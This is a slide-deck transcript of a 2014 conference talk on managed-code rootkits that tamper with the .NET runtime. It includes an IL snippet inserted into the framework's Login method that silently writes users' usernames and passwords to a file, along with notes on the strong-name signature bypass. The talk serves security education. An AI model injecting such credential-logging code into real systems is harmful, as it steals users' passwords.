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How well do you know your runtime


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This is a quick experiment in messing with the .NET framework for the purpose of showing potential attacks if someone gets root on a machine.

Presented at CodeMash, January 8, 2014

Published in: Technology
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How well do you know your runtime

  1. 1. How Well Do You Know Your Runtime? Rob Gillen @argodev This work is licensed under a Creative Commons Attribution 3.0 License.
  2. 2. Don’t Be Stupid The following presentation describes real attacks on real systems. Please note that most of the attacks described would be considered ILLEGAL if attempted on machines that you do not have explicit permission to test and attack. I assume no responsibility for any actions you perform based on the content of this presentation or subsequent conversations. Please remember this basic guideline: With knowledge comes responsibility.
  3. 3. Disclaimer The content of this presentation represents my personal views and thoughts at the present time. This content is not endorsed by, or representative in any way of my employer nor is it intended to be a view into my work or a reflection on the type of work that I or my group performs. It is simply a hobby and personal interest and should be considered as such.
  4. 4. Credits Many ideas for this talk are derived from “Managed Code Rootkits: Hooking Into Runtime Environments”, Erez Metula, Syngress, 2011 Some ideas are from “Gray Hat Python”, Justin Seitz, No Starch, 2009 Other Ideas are from colleagues far Few ideas are my own
  5. 5. root·kit /ˈ otˈkit ro͞ / noun: rootkit; plural noun: rootkits a set of software tools that enable an unauthorized user to gain control of a computer system without being detected.
  6. 6. A rootkit is a stealthy type of software, typically malicious, designed to hide the existence of certain processes or programs from normal methods of detection and enable continued privileged access to a computer. The term rootkit is a concatenation of "root" (the traditional name of the privileged account on Unix operating systems) and the word "kit" (which refers to the software components that implement the tool). The term "rootkit" has negative connotations through its association with malware.
  7. 7. Terminology • Runtime Environment/Application-Level Virtual Machine • Java JVM • .NET Framework aka Common Language Runtime (CLR) • Android Dalvik • Intermediate Language • MS IL • Managed Code • Java • C#, VB.NET, F#, etc.
  8. 8.
  9. 9. http://
  10. 10. DEMO: Modifying Default Behavior
  11. 11. .method public hidebysig static bool Login(string userName, string password, [opt] bool persistCookie) cil managed { .param [3] = bool(false) // Code size .maxstack 26 (0x1a) 2 .locals init (bool V_0) IL_0000: call IL_0005: pop IL_0006: ldarg.0 IL_0007: class WebMatrix.WebData.ExtendedMembershipProvider WebMatrix.WebData.WebSecurity::VerifyProvider() ldarg.1 IL_0008: call bool [System.Web]System.Web.Security.Membership::ValidateUser(string, string) IL_000d: stloc.0 IL_000e: ldloc.0 IL_000f: brfalse.s IL_0011: ldarg.0 IL_0012: ldarg.2 IL_0018 IL_0013: call void [System.Web]System.Web.Security.FormsAuthentication::SetAuthCookie(string, bool) IL_0018: ldloc.0 IL_0019: ret } // end of method WebSecurity::Login
  12. 12. // OK, let's be a little evil IL_00XX: nop IL_00XX: ldstr "C:UsersPublicmylog.txt" IL_00XX: ldarg.0 // get the username IL_00XX: ldstr "," IL_00XX: ldarg.1 // get the password IL_00XX: ldstr "rn" // set the data (concatenate the pervious strings) IL_00XX: call string System.String::Concat(string,string,string,string) // write the data IL_00XX: call void [mscorlib]System.IO.File::AppendAllText(string, string) IL_00XX: nop
  13. 13. Protection • Local Runtime? • Signature Checking?
  14. 14. Progress? Starting with the .NET Framework 3.5 Service Pack 1, strong-name signatures are not validated when an assembly is loaded into a full-trust application domain, such as the default application domain for the MyComputer zone. This is referred to as the strong-name bypass feature. In a full-trust environment, demands for StrongNameIdentityPermission always succeed for signed, full-trust assemblies, regardless of their signature. The strong-name bypass feature avoids the unnecessary overhead of strong-name signature verification of full-trust assemblies in this situation, allowing the assemblies to load faster.
  15. 15. Mixed Success <configuration> <runtime> <bypassTrustedAppStrongNames enabled="false" /> </runtime> </configuration>
  16. 16. o_O .method assembly hidebysig static class System.Reflection.RuntimeAssembly InternalLoadAssemblyName( class System.Reflection.AssemblyName assemblyRef, class System.Security.Policy.Evidence assemblySecurity, class System.Reflection.RuntimeAssembly reqAssembly, valuetype System.Threading.StackCrawlMark& stackMark, native int pPrivHostBinder, bool throwOnFileNotFound, bool forIntrospection, bool suppressSecurityChecks) cil managed { method logic…
  17. 17. Questions/Contact Rob Gillen @argodev